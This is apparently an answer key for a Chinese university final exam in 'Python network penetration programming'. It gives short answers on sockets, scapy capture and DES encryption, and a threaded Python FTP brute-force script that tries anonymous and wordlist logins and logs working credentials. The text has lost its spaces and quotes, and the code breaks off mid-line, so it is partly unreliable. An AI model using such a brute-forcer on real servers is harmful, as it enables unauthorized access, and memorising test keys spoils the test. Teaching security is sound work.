《Python网络渗透编程》课程期末考试卷(A卷)参考答案
一.选择题(每小题2分,共20分。)
1.D2.A3.D4.B5.A6.A7.A8.B9.D10.D
二.填空题(每空2分,共20分)。
(1)CDN
(2)threading
(3)open()
(4)socket.AF_INET(5)socket.SOCK_STREAM
(6)“00”(7)“A”
(8)“00”(9)”state”
(10)V2VsY29tZQ==
三.判断题(每题2分,共20分。)
1.?2.?3.√4.?5.?6.?7.√8.√9.√10.√
四.程序填空:请根据程序的功能描述,将程序补充完整(每空3分,共30分)。
(1)/login.php
(2)”username”:”admin”,“password”:”123456”
(3)datas
(4)req.text
(5)write(r)
(6)fromscapy.allimport*
(7)“00”
(8)defFilter
(9)10
(10)wrpcap
(11)fromCrypto.CipherimportDES
(12)key
(13)(8-(len(text)%8))
(14)text.encode()
(15)encrypt
五.编写程序:请根据要求编写程序。(10分)
importftplib
importthreading
defCheckAnonymous(FTPServer):#检查是否可以匿名登录
try:#使用异常机制,如果连接或登录失败,则自动转向异常处理
f=ftplib.FTP()
f.connect(FTPServer)
f.login()#如果登录成功,则会继续执行
print(\nAnonymousLoginSuccessfully!)
withopen(result,a)asresultFile:
resultFile.write(\nusername:anonymouspassword:)
f.quit()
exceptftplib.all_errors:
pass
defFtpUserPass(FTPServer,user,passwd):#使用用户名和密码登录
try:
f=ftplib.FTP()
f.connect(FTPServer)
f.login(user,passwd)
print(user+LoginSuccessfully!)
withopen(result,a)asresultFile:
resultFile.write(\nusername:+user+password:+passwd)
f.quit()
exceptftplib.all_errors:
pass
defFtpExploit(FTPServer):
threads=[]
withopen(username)asusr:
username=usr.readlines()#读取用户名
withopen(password1)aspas:
password=pas.readlines()#读取口令
foruserinusername:
user=user.strip()
forpasswdinpassword:
passwd=passwd.strip()
th=threading.Thread(target=FtpUserPass,args=(FTPServer,user,passwd))
#创建一个线程尝试使用一个用户名和口令登录
threads.append(th)
fortinthreads:
t.start()
fortinthreads:
t.join()
if__name__==__main__:
C